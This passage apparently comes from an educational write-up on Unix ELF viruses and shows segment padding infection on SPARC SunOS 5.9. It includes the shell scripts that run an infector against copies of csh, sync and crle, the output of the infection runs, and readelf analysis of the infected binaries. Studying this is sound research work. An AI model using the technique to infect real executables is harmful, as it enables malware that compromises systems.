Don't be too proud of this technological terror you've constructed. The ability to destroy a planet is insignificant next to the power of the Force. | |
| Darth Vader |
Another interesting thing in the output of Segments of /usr/bin/csh is the distance between the two LOAD segments:
VirtAddr[2] - VirtAddr[1] - MemSiz[1] = 0x44000 - 0x10000 - 0x234a4 = 0x10b5c = 68444 bytes
Offset[2] - Offset[1] - FileSiz[1] = 0x24000 - 0x0 - 0x234a4 = 0xb5c = 2908 bytes
Only 2908 bytes (0xb5c) would be needed to align the first LOAD segment up to the alignment of 0x10000. For some reason at least one complete page lies between code segment and data segment. Is this gap target for a virus? Well, that depends. See Segment padding infection (i) for a general introduction. Anyway, the interesting thing in the output below is the value of _SC_PAGESIZE. We can fill the gap only in chunks of that size.
Output: out/sparc-sunos5.9/segment_padding/sysconf
_SC_CLK_TCK=100
_SC_VERSION=199506
_SC_PAGESIZE=4096 |
We found a peculiarity. We verified its existence at Scan segments. We have a basic framework at One step closer to the edge (i) and implemented the specific infection method at Segment padding infection (i). The code to insert is at Infection #1. Time to let them all play together; using the script at cc.sh (i).
Output: out/sparc-sunos5.9/segment_padding/e1i1/cc
src/one_step_closer/get_seg.inc:6: warning: `phdr_data' might be used
uninitialized in this function |
Now we know that the output of the compiler is alright and the infector was built. So off we go. The list of target executables was gathered in Food for segment padding.
Command: pre/sparc-sunos5.9/one_step_closer/infect.sh
#!/usr/xpg4/bin/sh
project=${1:-one_step_closer}
entry_addr=${2:-e1}
infection=${3:-i1}
scanner=${4:-segment_padding}
( cd tmp/sparc-sunos5.9/${project}/${entry_addr}${infection} \
&& ./infector ) \
< out/sparc-sunos5.9/scanner/${scanner}/infect |
Output: out/sparc-sunos5.9/segment_padding/e1i1/infect
/usr/bin/csh ... wrote 80 bytes, Ok
/sbin/sync ... wrote 80 bytes, Ok
/usr/bin/crle ... wrote 80 bytes, Ok
files=3; ok=3; failed=0 |
A simple shell script will do as test.
Output = Command: out/sparc-sunos5.9/segment_padding/test-e1i1.sh
#!tmp/sparc-sunos5.9/segment_padding/e1i1/csh_infected
echo "pid=[$$]"
cd tmp/sparc-sunos5.9/segment_padding/e1i1
echo "TERM=[$TERM]"
./sync_infected
./crle_infected
echo "---"
/usr/bin/cat csh_infected > strip_csh_infected \
&& /usr/ccs/bin/strip strip_csh_infected \
&& /usr/bin/chmod 755 strip_csh_infected \
&& ./strip_csh_infected -fc 'echo $$' |
Output: out/sparc-sunos5.9/segment_padding/test-e1i1
ELFpid=[14530]
TERM=[xterm]
ELFELF
Default configuration file (/var/ld/ld.config) not found
Default Library Path (ELF): /usr/lib (system default)
Trusted Directories (ELF): /usr/lib/secure (system default)
---
ELF14544 |
The Force is strong with this one. [1]
After emotions cooled down a bit we can examine the infected executable and compare it with the original.
Command: pre/sparc-sunos5.9/segment_padding/readelf.sh
#!/usr/xpg4/bin/sh
shell=$( /usr/xpg4/bin/sed 1q \
out/sparc-sunos5.9/scanner/segment_padding/infect )
[ -x "${shell}" ] || exit 1
cd tmp/sparc-sunos5.9/segment_padding/e1i1 || exit 2
infected=${shell##*/}_infected
/usr/xpg4/bin/ls -l ${infected}
/usr/xpg4/bin/ls -l strip_${infected}
/usr/xpg4/bin/ls -l ${shell}
/opt/sfw/bin/greadelf -l ${infected} |
Output: out/sparc-sunos5.9/segment_padding/readelf
-rwxr-xr-x 1 alba alba 163428 Feb 15 2003 csh_infected
-rwxr-xr-x 1 alba alba 163428 Feb 15 2003 strip_csh_infected
-r-xr-xr-x 2 root bin 159332 Apr 7 2002 /usr/bin/csh
Elf file type is EXEC (Executable file)
Entry point 0x334b0
There are 6 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x00010034 0x00000000 0x000c0 0x000c0 R E 0
INTERP 0x000e38 0x00000000 0x00000000 0x00011 0x00000 R 0
[Requesting program interpreter: /usr/lib/ld.so.1]
LOAD 0x000000 0x00010000 0x00000000 0x244a4 0x244a4 R E 0x10000
LOAD 0x025000 0x00044000 0x00000000 0x028e0 0x06238 RWE 0x10000
DYNAMIC 0x0255b4 0x000445b4 0x00000000 0x00100 0x00000 RWE 0
LOOS+ffffffb 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0
Section to Segment mapping:
Segment Sections...
00
01
02 .SUNW_syminfo .interp .hash .dynsym .dynstr .SUNW_version .rela.ex_shared .rela.cpp_finidata .rela.data .rela.bss .rela.plt .text .init .fini .exception_ranges .rodata .rodata1
03 .got .plt .dynamic .ex_shared .cpp_finidata .data .data1 .bss
04
05 |
File size and code segment have grown as expected. Data segment and DYNAMIC segment moved accordingly:
infected.file_size - original.file_size = 163428 - 159332 4096 = 0x1000
infected.LOAD[1].FileSiz - sh.LOAD[1].FileSiz = 0x244a4 - 0x234a4 = 0x1000
infected.LOAD[2].Offset - sh.LOAD[2].Offset = 0x25000 - 0x24000 = 0x1000
infected.DYNAMIC.Offset - sh.DYNAMIC.Offset = 0x255b4 - 0x245b4 = 0x1000
And the new distance between the LOAD segments:
VirtAddr[2] - VirtAddr[1] - MemSiz[1] = 0x44000 - 0x10000 - 0x244a4 = 0xfb5c = 64348 bytes
Offset[2] - Offset[1] - FileSiz[1] = 0x25000 - 0x0 - 0x244a4 = 0xb5c = 2908 bytes
The small output of Scan segments includes the executable from last chapter. But for clarity we repeat the exercise.
Command: pre/sparc-sunos5.9/segment_padding/scan_segment.sh
#!/usr/xpg4/bin/sh
TEVWH_TMP=tmp/sparc-sunos5.9
export TEVWH_TMP
shell=$( /usr/xpg4/bin/sed 1q \
out/sparc-sunos5.9/scanner/segment_padding/infect )
[ -x "${shell}" ] || exit 1
/usr/bin/echo "${shell}
tmp/sparc-sunos5.9/one_step_closer/e1i1/${shell##*/}_infected" \
| tmp/sparc-sunos5.9/scanner/segment_padding |
Output: out/sparc-sunos5.9/segment_padding/scan
/usr/bin/csh ... delta=0x10b5c, Ok
(2) No such file or directory
CHECK: one_step_closer/e1i1/csh_infected
CHECK: src/one_step_closer/open_src.inc#9
CHECK: (0) <= (t->fd_src = open(t->src_file, 0))
CHECK: 0 <= -1; 0 <= 0xffffffff
files=2; ok=1; det_page=1; det_align=0; min=0x10b5c; max=0x10b5c |
This is like playing chess against oneself, and losing. Can't do much about it, though.
The value of Entry point changed dramatically. In the original it is in the first part of the file:
entry_point_m/additional.cs.xml = 0x17f0c - 0x10000 = 0x7f0c = 32524 bytes.
The infected copy moved that to less than 1000 bytes from the end of the code segment.
entry_point_ofs = 0x334b0 - 0x10000 = 0x234b0 = 144560 bytes.
end_of_LOAD1 = 0x10000 + 0x244a4 = 0x344a4
entry_point_distance_to_end = 0x344a4 - 0x334b0 = 0xff4 = 4084
This alone is an easy vulnerability to scanners. But then since Scan entry point we know for sure that with regular executables the entry point equals the start of section .text.
| [1] | Admittedly, it is not strip-safe on SunOS. But I call that room for improvement. |